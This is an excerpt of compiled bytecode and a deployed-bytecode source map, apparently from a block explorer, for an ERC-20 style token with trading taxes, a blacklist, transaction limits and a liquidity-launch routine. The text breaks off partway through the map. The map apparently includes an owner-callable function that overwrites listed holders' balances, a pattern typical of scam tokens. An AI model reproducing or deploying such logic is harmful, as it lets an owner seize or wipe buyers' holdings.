25760405162461bcd60e51b81526004016104c7906117f5565b601554600160a01b900460ff161561078c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c7565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107d59030906107c76009600a6117d0565b61048f90633b9aca006117de565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610825573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610849919061183e565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a8573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108cc919061183e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610916573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093a919061183e565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d7194730610981816001600160a01b03165f9081526001602052604090205490565b5f5f6109945f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109fa573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a1f9190611859565b505060158054601380546001600160a01b0319166001600160a01b0383161790556201000160a01b62ff00ff60a01b1990911617905550565b5f546001600160a01b03163314610a815760405162461bcd60e51b81526004016104c7906117f5565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610ab8573d5f5f3e3d5ffd5b50565b6001600160a01b038316610b1d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c7565b6001600160a01b038216610b7e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c425760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c7565b6001600160a01b038216610ca45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c7565b5f8111610d055760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c7565b5f80546001600160a01b03858116911614801590610d3057505f546001600160a01b03848116911614155b15611026576001600160a01b0384165f9081526005602052604090205460ff16158015610d7557506001600160a01b0383165f9081526005602052604090205460ff16155b610d7d575f5ffd5b610da96064610da3600b54600e5411610d9857600754610d9c565b6009545b859061119b565b90611220565b6015549091506001600160a01b038581169116148015610dd757506014546001600160a01b03848116911614155b8015610dfb57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ee157600f54821115610e525760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c7565b60105482610e74856001600160a01b03165f9081526001602052604090205490565b610e7e9190611884565b1115610ecc5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c7565b600e8054905f610edb83611897565b91905055505b6015546001600160a01b038481169116148015610f0757506001600160a01b0384163014155b15610f3f57610f316064610da3600c54600e5411610f2757600854610d9c565b600a54859061119b565b905047610f3d47611261565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610f7557506015546001600160a01b038581169116145b8015610f8a5750601554600160b01b900460ff165b8015610f97575060115481115b8015610fa65750600d54600e54115b1561102457601554600160b81b900460ff1615610fff57436016541015610ffa57610fe4610fdf84610fda84601254611298565b611298565b6112ac565b478015610ff457610ff447611261565b50436016555b611024565b611012610fdf84610fda84601254611298565b4780156110225761102247611261565b505b505b801561109e57305f90815260016020526040902054611045908261141c565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110959085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110c0908361147a565b6001600160a01b0385165f908152600160205260409020556111036110e5838361147a565b6001600160a01b0385165f908152600160205260409020549061141c565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61114c858561147a565b60405190815260200160405180910390a350505050565b5f81848411156111865760405162461bcd60e51b81526004016104c791906114e7565b505f61119284866118af565b95945050505050565b5f825f036111aa57505f610411565b5f6111b583856117de565b9050826111c285836118c2565b146112195760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c7565b9392505050565b5f61121983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114bb565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156106f0573d5f5f3e3d5ffd5b5f8183116112a65782611219565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112f2576112f261182a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611349573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061136d919061183e565b816001815181106113805761138061182a565b6001600160a01b0392831660209182029290920101526014546113a69130911684610abb565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113de9085905f908690309042906004016118e1565b5f604051808303815f87803b1580156113f5575f5ffd5b505af1158015611407573d5f5f3e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f806114288385611884565b9050838110156112195760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c7565b5f61121983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611163565b5f81836114db5760405162461bcd60e51b81526004016104c791906114e7565b505f61119284866118c2565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610ab8575f5ffd5b803561153b8161151c565b919050565b5f5f60408385031215611551575f5ffd5b823561155c8161151c565b946020939093013593505050565b5f5f5f6060848603121561157c575f5ffd5b83356115878161151c565b925060208401356115978161151c565b929592945050506040919091013590565b5f602082840312156115b8575f5ffd5b81356112198161151c565b634e487b7160e01b5f52604160045260245ffd5b5f602082840312156115e7575f5ffd5b813567ffffffffffffffff8111156115fd575f5ffd5b8201601f8101841361160d575f5ffd5b803567ffffffffffffffff811115611627576116276115c3565b8060051b604051601f19603f830116810181811067ffffffffffffffff82111715611654576116546115c3565b604052918252602081840181019290810187841115611671575f5ffd5b6020850194505b838510156116975761168985611530565b815260209485019401611678565b509695505050505050565b5f5f604083850312156116b3575f5ffd5b82356116be8161151c565b915060208301356116ce8161151c565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156117285780850481111561170c5761170c6116d9565b600184161561171a57908102905b60019390931c9280026116f1565b935093915050565b5f8261173e57506001610411565b8161174a57505f610411565b8160018114611760576002811461176a57611786565b6001915050610411565b60ff84111561177b5761177b6116d9565b50506001821b610411565b5060208310610133831016604e8410600b84101617156117a9575081810a610411565b6117b55f1984846116ed565b805f19048211156117c8576117c86116d9565b029392505050565b5f61121960ff841683611730565b8082028115828204841417610411576104116116d9565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561184e575f5ffd5b81516112198161151c565b5f5f5f6060848603121561186b575f5ffd5b5050815160208301516040909301519094929350919050565b80820180821115610411576104116116d9565b5f600182016118a8576118a86116d9565b5060010190565b81810381811115610411576104116116d9565b5f826118dc57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156119315783516001600160a01b031683526020938401939092019160010161190a565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220810ddad12b0803e9b0a349b8e82723ec7820b101561f96f53e2acfbd16a5bc0464736f6c634300081b0033
Deployed Bytecode Sourcemap
3674:8569:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5754:83;;;;;;;;;;-1:-1:-1;5824:5:0;;;;;;;;;;;;-1:-1:-1;;;5824:5:0;;;;5754:83;;;;;;;:::i;:::-;;;;;;;;6573:247;;;;;;;;;;-1:-1:-1;6573:247:0;;;;;:::i;:::-;;:::i;:::-;;;1249:14:1;;1242:22;1224:41;;1212:2;1197:18;6573:247:0;1084:187:1;4788:45:0;;;;;;;;;;;;;;;;;;;1422:25:1;;;1410:2;1395:18;4788:45:0;1276:177:1;6025:95:0;;;;;;;;;;;;;:::i;6826:314::-;;;;;;;;;;-1:-1:-1;6826:314:0;;;;;:::i;:::-;;:::i;4736:45::-;;;;;;;;;;;;;;;;5936:83;;;;;;;;;;-1:-1:-1;5936:83:0;;4425:1;2113:36:1;;2101:2;2086:18;5936:83:0;1971:184:1;11285:186:0;;;;;;;;;;-1:-1:-1;11285:186:0;;;;;:::i;:::-;;:::i;:::-;;4678:51;;;;;;;;;;;;;;;;6126:119;;;;;;;;;;-1:-1:-1;6126:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6219:18:0;6192:7;6219:18;;;:9;:18;;;;;;;6126:119;2885:148;;;;;;;;;;;;;:::i;10770:193::-;;;;;;;;;;;;;:::i;4624:47::-;;;;;;;;;;;;;;;;2671:79;;;;;;;;;;-1:-1:-1;2709:7:0;2736:6;2671:79;;-1:-1:-1;;;;;2736:6:0;;;2818:51:1;;2806:2;2791:18;2671:79:0;2672:203:1;5843:87:0;;;;;;;;;;-1:-1:-1;5915:7:0;;;;;;;;;;;;-1:-1:-1;;;5915:7:0;;;;5843:87;;11477:239;;;;;;;;;;-1:-1:-1;11477:239:0;;;;;:::i;:::-;;:::i;6251:167::-;;;;;;;;;;-1:-1:-1;6251:167:0;;;;;:::i;:::-;;:::i;10140:624::-;;;;;;;;;;;;;:::i;11168:111::-;;;;;;;;;;;;;:::i;6424:143::-;;;;;;;;;;-1:-1:-1;6424:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6532:18:0;;;6505:7;6532:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6424:143;6573:247;-1:-1:-1;;;;;6708:23:0;;6648:4;6708:23;;;:14;:23;;;;;;2330:10;;6708:23;;6705:42;;;-1:-1:-1;6739:8:0;;-1:-1:-1;;;;;6739:8:0;6705:42;6758:32;6767:5;6774:7;6783:6;6758:8;:32::i;:::-;6808:4;6801:11;;;6573:247;;;;;:::o;6025:95::-;6078:7;4481:13;4425:1;4481:2;:13;:::i;:::-;4468:26;;:10;:26;:::i;:::-;6098:14;;6025:95;:::o;6826:314::-;6924:4;6941:36;6951:6;6959:9;6970:6;6941:9;:36::i;:::-;6989:121;6998:6;2330:10;7020:89;7058:6;7020:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7020:19:0;;;;;;:11;:19;;;;;;;;2330:10;7020:33;;;;;;;;;;:37;:89::i;:::-;6989:8;:121::i;:::-;-1:-1:-1;7128:4:0;6826:314;;;;;:::o;11285:186::-;2798:6;;-1:-1:-1;;;;;2798:6:0;2330:10;2798:22;2790:67;;;;-1:-1:-1;;;2790:67:0;;;;;;;:::i;:::-;;;;;;;;;11361:9:::1;:19:::0;;-1:-1:-1;;;;;11361:19:0;;::::1;-1:-1:-1::0;;;;;;11361:19:0;;::::1;::::0;::::1;::::0;;:9:::1;11391:23:::0;;;:14:::1;:23;::::0;;;;;;;:30;;-1:-1:-1;;11391:30:0;;::::1;11361:19:::0;11391:30;;::::1;::::0;;;11432:15:::1;:24:::0;;;;;:31;;;;::::1;::::0;;::::1;::::0;;11285:186::o;2885:148::-;2798:6;;-1:-1:-1;;;;;2798:6:0;2330:10;2798:22;2790:67;;;;-1:-1:-1;;;2790:67:0;;;;;;;:::i;:::-;2992:1:::1;2976:6:::0;;2955:40:::1;::::0;-1:-1:-1;;;;;2976:6:0;;::::1;::::0;2955:40:::1;::::0;2992:1;;2955:40:::1;3023:1;3006:19:::0;;-1:-1:-1;;;;;;3006:19:0::1;::::0;;2885:148::o;10770:193::-;2798:6;;-1:-1:-1;;;;;2798:6:0;2330:10;2798:22;2790:67;;;;-1:-1:-1;;;2790:67:0;;;;;;;:::i;:::-;10824:12:::1;:20:::0;;-1:-1:-1;;;;10824:20:0::1;::::0;;4481:13:::1;4425:1;4481:2;:13;:::i;:::-;4468:26;::::0;:10:::1;:26;:::i;:::-;10855:12;:22:::0;4481:13:::1;4425:1;4481:2;:13;:::i;:::-;4468:26;::::0;:10:::1;:26;:::i;:::-;10888:16;:24:::0;10928:27:::1;4481:13;4425:1;4481:2;:13;:::i;:::-;4468:26;::::0;:10:::1;:26;:::i;:::-;10928:27;::::0;1422:25:1;;;1410:2;1395:18;10928:27:0::1;;;;;;;10770:193::o:0;11477:239::-;11548:9;11543:166;11567:5;:12;11563:1;:16;11543:166;;;11618:13;;11606:8;;-1:-1:-1;;;;;11618:13:0;;;;11606:5;;11612:1;;11606:8;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;11606:25:0;;11602:38;;11633:7;11477:239;:::o;11602:38::-;11682:15;4425:1;11682:2;:15;:::i;:::-;11676:21;;:3;:21;:::i;:::-;11654:9;:19;11664:5;11670:1;11664:8;;;;;;;;:::i;:::-;;;;;;;;;;;;-1:-1:-1;;;;;11654:19:0;;;;;;;;;;;-1:-1:-1;11654:19:0;:43;11581:4;;11543:166;;;;11477:239;:::o;6251:167::-;6329:4;6346:42;2330:10;6370:9;6381:6;6346:9;:42::i;:::-;-1:-1:-1;6406:4:0;6251:167;;;;:::o;10140:624::-;2798:6;;-1:-1:-1;;;;;2798:6:0;2330:10;2798:22;2790:67;;;;-1:-1:-1;;;2790:67:0;;;;;;;:::i;:::-;10204:11:::1;::::0;-1:-1:-1;;;10204:11:0;::::1;;;10203:12;10195:47;;;::::0;-1:-1:-1;;;10195:47:0;;6969:2:1;10195:47:0::1;::::0;::::1;6951:21:1::0;7008:2;6988:18;;;6981:30;7047:25;7027:18;;;7020:53;7090:18;;10195:47:0::1;6767:347:1::0;10195:47:0::1;10253:15;:80:::0;;-1:-1:-1;;;;;;10253:80:0::1;10290:42;10253:80:::0;;::::1;::::0;;;10344:58:::1;::::0;10361:4:::1;::::0;4481:13:::1;4425:1;4481:2;:13;:::i;:::-;4468:26;::::0;:10:::1;:26;:::i;10344:58::-;10447:15;;;;;;;;;-1:-1:-1::0;;;;;10447:15:0::1;-1:-1:-1::0;;;;;10447:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10429:55:0::1;;10493:4;10500:15;;;;;;;;;-1:-1:-1::0;;;;;10500:15:0::1;-1:-1:-1::0;;;;;10500:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10429:94;::::0;-1:-1:-1;;;;;;10429:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7567:32:1;;;10429:94:0::1;::::0;::::1;7549:51:1::0;7636:32;;7616:18;;;7609:60;7522:18;;10429:94:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10413:13;:110:::0;;-1:-1:-1;;;;;10413:110:0;;::::1;-1:-1:-1::0;;;;;;10413:110:0;;::::1;;::::0;;10534:15:::1;::::0;::::1;:31;10573:21;10604:4;10610:24;10604:4:::0;-1:-1:-1;;;;;6219:18:0;6192:7;6219:18;;;:9;:18;;;;;;;6126:119;10610:24:::1;10635:1;10637;10639:7;2709::::0;2736:6;-1:-1:-1;;;;;2736:6:0;;2671:79;10639:7:::1;10534:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10534:129:0;;;-1:-1:-1;;;;;8001:32:1;;;10534:129:0::1;::::0;::::1;7983:51:1::0;8050:18;;;8043:34;;;;8093:18;;;8086:34;;;;8136:18;;;8129:34;8200:32;;;8179:19;;;8172:61;10647:15:0::1;8249:19:1::0;;;8242:35;7955:19;;10534:129:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10685:13:0::1;::::0;;10674:8:::1;:24:::0;;-1:-1:-1;;;;;;10674:24:0::1;-1:-1:-1::0;;;;;10685:13:0;::::1;10674:24;::::0;;-1:-1:-1;;;;;;;10738:18:0;;;;;;-1:-1:-1;10140:624:0:o;11168:111::-;2798:6;;-1:-1:-1;;;;;2798:6:0;2330:10;2798:22;2790:67;;;;-1:-1:-1;;;2790:67:0;;;;;;;:::i;:::-;2709:7;2736:6;;11223:48:::1;::::0;-1:-1:-1;;;;;2736:6:0;;;;11249:21:::1;11223:48:::0;::::1;;;::::0;11249:21;;11223:48;2709:7;11223:48;11249:21;2736:6;11223:48;::::1;;;;;;;;;;;;;;;;;;;;11168:111::o:0;7146:335::-;-1:-1:-1;;;;;7239:19:0;;7231:68;;;;-1:-1:-1;;;7231:68:0;;8951:2:1;7231:68:0;;;8933:21:1;8990:2;8970:18;;;8963:30;9029:34;9009:18;;;9002:62;-1:-1:-1;;;9080:18:1;;;9073:34;9124:19;;7231:68:0;8749:400:1;7231:68:0;-1:-1:-1;;;;;7318:21:0;;7310:68;;;;-1:-1:-1;;;7310:68:0;;9356:2:1;7310:68:0;;;9338:21:1;9395:2;9375:18;;;9368:30;9434:34;9414:18;;;9407:62;-1:-1:-1;;;9485:18:1;;;9478:32;9527:19;;7310:68:0;9154:398:1;7310:68:0;-1:-1:-1;;;;;7389:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7441:32;;1422:25:1;;;7441:32:0;;1395:18:1;7441:32:0;;;;;;;7146:335;;;:::o;7487:2647::-;-1:-1:-1;;;;;7575:18:0;;7567:68;;;;-1:-1:-1;;;7567:68:0;;9759:2:1;7567:68:0;;;9741:21:1;9798:2;9778:18;;;9771:30;9837:34;9817:18;;;9810:62;-1:-1:-1;;;9888:18:1;;;9881:35;9933:19;;7567:68:0;9557:401:1;7567:68:0;-1:-1:-1;;;;;7654:16:0;;7646:64;;;;-1:-1:-1;;;7646:64:0;;10165:2:1;7646:64:0;;;10147:21:1;10204:2;10184:18;;;10177:30;10243:34;10223:18;;;10216:62;-1:-1:-1;;;10294:18:1;;;10287:33;10337:19;;7646:64:0;9963:399:1;7646:64:0;7738:1;7729:6;:10;7721:64;;;;-1:-1:-1;;;7721:64:0;;10569:2:1;7721:64:0;;;10551:21:1;10608:2;10588:18;;;10581:30;10647:34;10627:18;;;10620:62;-1:-1:-1;;;10698:18:1;;;10691:39;10747:19;;7721:64:0;10367:405:1;7721:64:0;7796:18;2736:6;;-1:-1:-1;;;;;7831:15:0;;;2736:6;;7831:15;;;;:32;;-1:-1:-1;2709:7:0;2736:6;-1:-1:-1;;;;;7850:13:0;;;2736:6;;7850:13;;7831:32;7827:1947;;;-1:-1:-1;;;;;7889:11:0;;;;;;:5;:11;;;;;;;;7888:12;:26;;;;-1:-1:-1;;;;;;7905:9:0;;;;;;:5;:9;;;;;;;;7904:10;7888:26;7880:35;;;;;;7943:73;8012:3;7943:64;7965:12;;7955:9;;:22;7954:52;;7992:14;;7954:52;;;7979:12;;7954:52;7943:6;;:10;:64::i;:::-;:68;;:73::i;:::-;8043:13;;7930:86;;-1:-1:-1;;;;;;8035:21:0;;;8043:13;;8035:21;:55;;;;-1:-1:-1;8074:15:0;;-1:-1:-1;;;;;8060:30:0;;;8074:15;;8060:30;;8035:55;:80;;;;-1:-1:-1;;;;;;8096:19:0;;;;;;:15;:19;;;;;;;;8094:21;8035:80;8031:312;;;8155:12;;8145:6;:22;;8137:60;;;;-1:-1:-1;;;8137:60:0;;10979:2:1;8137:60:0;;;10961:21:1;11018:2;10998:18;;;10991:30;11057:27;11037:18;;;11030:55;11102:18;;8137:60:0;10777:349:1;8137:60:0;8250:16;;8240:6;8224:13;8234:2;-1:-1:-1;;;;;6219:18:0;6192:7;6219:18;;;:9;:18;;;;;;;6126:119;8224:13;:22;;;;:::i;:::-;:42;;8216:81;;;;-1:-1:-1;;;8216:81:0;;11463:2:1;8216:81:0;;;11445:21:1;11502:2;11482:18;;;11475:30;11541:28;11521:18;;;11514:56;11587:18;;8216:81:0;11261:350:1;8216:81:0;8316:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8031:312;8366:13;;-1:-1:-1;;;;;8360:19:0;;;8366:13;;8360:19;:43;;;;-1:-1:-1;;;;;;8383:20:0;;8398:4;8383:20;;8360:43;8357:363;;;8437:76;8509:3;8437:67;8459:13;;8449:9;;:23;8448:55;;8488:15;;8448:55;;;8474:13;;8437:6;;:10;:67::i;:76::-;8424:89;-1:-1:-1;8561:21:0;8652:33;8663:21;8652:10;:33::i;:::-;8405:315;8357:363;8783:4;8734:28;6219:18;;;:9;:18;;;;;;8809:6;;-1:-1:-1;;;8809:6:0;;;;8808:7;:32;;;;-1:-1:-1;8827:13:0;;-1:-1:-1;;;;;8819:21:0;;;8827:13;;8819:21;8808:32;:47;;;;-1:-1:-1;8844:11:0;;-1:-1:-1;;;8844:11:0;;;;8808:47;:83;;;;;8880:11;;8859:20;:32;8808:83;:110;;;;;8905:13;;8895:9;;:23;8808:110;8804:959;;;8943:12;;-1:-1:-1;;;8943:12:0;;;;8939:809;;;8999:12;8984;;:27;8980:427;;;9040:67;9057:49;9061:6;9068:37;9072:20;9093:11;;9068:3;:37::i;:::-;9057:3;:49::i;:::-;9040:16;:67::i;:::-;9163:21;9214:22;;9211:119;;9269:33;9280:21;9269:10;:33::i;:::-;-1:-1:-1;9371:12:0;9356;:27;8980:427;8939:809;;;9455:67;9472:49;9476:6;9483:37;9487:20;9508:11;;9483:3;:37::i;9455:67::-;9574:21;9621:22;;9618:111;;9672:33;9683:21;9672:10;:33::i;:::-;9432:316;8939:809;7865:1909;7827:1947;9787:12;;9784:165;;9856:4;9838:24;;;;:9;:24;;;;;;:40;;9867:10;9838:28;:40::i;:::-;9831:4;9813:24;;;;:9;:24;;;;;;;:65;;;;9896:41;;-1:-1:-1;;;;;9896:41:0;;;;;;;9926:10;1422:25:1;;1410:2;1395:18;;1276:177;9896:41:0;;;;;;;;9784:165;-1:-1:-1;;;;;9975:15:0;;;;;;:9;:15;;;;;;:27;;9995:6;9975:19;:27::i;:::-;-1:-1:-1;;;;;9959:15:0;;;;;;:9;:15;;;;;:43;10027:41;10045:22;:6;10056:10;10045;:22::i;:::-;-1:-1:-1;;;;;10027:13:0;;;;;;:9;:13;;;;;;;:17;:41::i;:::-;-1:-1:-1;;;;;10013:13:0;;;;;;;:9;:13;;;;;:55;;;;10084:42;;;10103:22;:6;10114:10;10103;:22::i;:::-;10084:42;;1422:25:1;;;1410:2;1395:18;10084:42:0;;;;;;;7556:2578;7487:2647;;;:::o;630:190::-;716:7;752:12;744:6;;;;736:29;;;;-1:-1:-1;;;736:29:0;;;;;;;;:::i;:::-;-1:-1:-1;776:9:0;788:5;792:1;788;:5;:::i;:::-;776:17;630:190;-1:-1:-1;;;;;630:190:0:o;828:246::-;886:7;910:1;915;910:6;906:47;;-1:-1:-1;940:1:0;933:8;;906:47;963:9;975:5;979:1;975;:5;:::i;:::-;963:17;-1:-1:-1;1008:1:0;999:5;1003:1;963:17;999:5;:::i;:::-;:10;991:56;;;;-1:-1:-1;;;991:56:0;;12313:2:1;991:56:0;;;12295:21:1;12352:2;12332:18;;;12325:30;12391:34;12371:18;;;12364:62;-1:-1:-1;;;12442:18:1;;;12435:31;12483:19;;991:56:0;12111:397:1;991:56:0;1065:1;828:246;-1:-1:-1;;;828:246:0:o;1082:132::-;1140:7;1167:39;1171:1;1174;1167:39;;;;;;;;;;;;;;;;;:3;:39::i;11073:89::-;11128:9;;:26;;-1:-1:-1;;;;;11128:9:0;;;;:26;;;;;11147:6;;11128:9;:26;:9;:26;11147:6;11128:9;:26;;;;;;;;;;;;;;;;;;;10969:98;11026:7;11053:1;11051;:3;11050:9;;11058:1;11050:9;;;-1:-1:-1;11056:1:0;10969:98;-1:-1:-1;10969:98:0:o;11757:483::-;5220:6;:13;;-1:-1:-1;;;;5220:13:0;-1:-1:-1;;;5220:13:0;;;11859:16:::1;::::0;;11873:1:::1;11859:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11859:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11859:16:0::1;11835:40;;11904:4;11886;11891:1;11886:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11886:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11930:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11930:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11886:7;;11930:22;;;;;:15;:22:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11920:4;11925:1;11920:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11920:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11995:15:::1;::::0;11963:62:::1;::::0;11980:4:::1;::::0;11995:15:::1;12013:11:::0;11963:8:::1;:62::i;:::-;12036:15;::::0;:196:::1;::::0;-1:-1:-1;;;12036:196:0;;-1:-1:-1;;;;;12036:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12117:11;;12036:15:::1;::::0;12159:4;;12186::::1;::::0;12206:15:::1;::::0;12036:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;5256:6:0;:14;;-1:-1:-1;;;;5256:14:0;;;-1:-1:-1;;;;11757:483:0:o;299:179::-;357:7;;389:5;393:1;389;:5;:::i;:::-;377:17;;418:1;413;:6;;405:46;;;;-1:-1:-1;;;405:46:0;;13679:2:1;405:46:0;;;13661:21:1;13718:2;13698:18;;;13691:30;13757:29;13737:18;;;13730:57;13804:18;;405:46:0;13477:351:1;486:136:0;544:7;571:43;575:1;578;571:43;;;;;;;;;;;;;;;;;:3;:43::i;1222:189::-;1308:7;1343:12;1336:5;1328:28;;;;-1:-1:-1;;;1328:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1367:9:0;1379:5;1383:1;1379;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:134;641:20;;670:31;641:20;670:31;:::i;:::-;573:134;;;:::o;712:367::-;780:6;788;841:2;829:9;820:7;816:23;812:32;809:52;;;857:1;854;847:12;809:52;896:9;883:23;915:31;940:5;915:31;:::i;:::-;965:5;1043:2;1028:18;;;;1015:32;;-1:-1:-1;;;712:367:1:o;1458:508::-;1535:6;1543;1551;1604:2;1592:9;1583:7;1579:23;1575:32;1572:52;;;1620:1;1617;1610:12;1572:52;1659:9;1646:23;1678:31;1703:5;1678:31;:::i;:::-;1728:5;-1:-1:-1;1785:2:1;1770:18;;1757:32;1798:33;1757:32;1798:33;:::i;:::-;1458:508;;1850:7;;-1:-1:-1;;;1930:2:1;1915:18;;;;1902:32;;1458:508::o;2160:255::-;2227:6;2280:2;2268:9;2259:7;2255:23;2251:32;2248:52;;;2296:1;2293;2286:12;2248:52;2335:9;2322:23;2354:31;2379:5;2354:31;:::i;2880:127::-;2941:10;2936:3;2932:20;2929:1;2922:31;2972:4;2969:1;2962:15;2996:4;2993:1;2986:15;3012:1127;3096:6;3149:2;3137:9;3128:7;3124:23;3120:32;3117:52;;;3165:1;3162;3155:12;3117:52;3205:9;3192:23;3238:18;3230:6;3227:30;3224:50;;;3270:1;3267;3260:12;3224:50;3293:22;;3346:4;3338:13;;3334:27;-1:-1:-1;3324:55:1;;3375:1;3372;3365:12;3324:55;3415:2;3402:16;3441:18;3433:6;3430:30;3427:56;;;3463:18;;:::i;:::-;3509:6;3506:1;3502:14;3545:2;3539:9;3608:2;3604:7;3599:2;3595;3591:11;3587:25;3579:6;3575:38;3679:6;3667:10;3664:22;3643:18;3631:10;3628:34;3625:62;3622:88;;;3690:18;;:::i;:::-;3726:2;3719:22;3776;;;3826:2;3856:11;;;3852:20;;;3776:22;3814:15;;3884:19;;;3881:39;;;3916:1;3913;3906:12;3881:39;3948:2;3944;3940:11;3929:22;;3960:148;3976:6;3971:3;3968:15;3960:148;;;4042:23;4061:3;4042:23;:::i;:::-;4030:36;;4095:2;3993:12;;;;4086;3960:148;;;-1:-1:-1;4127:6:1;3012:1127;-1:-1:-1;;;;;;3012:1127:1:o;4144:388::-;4212: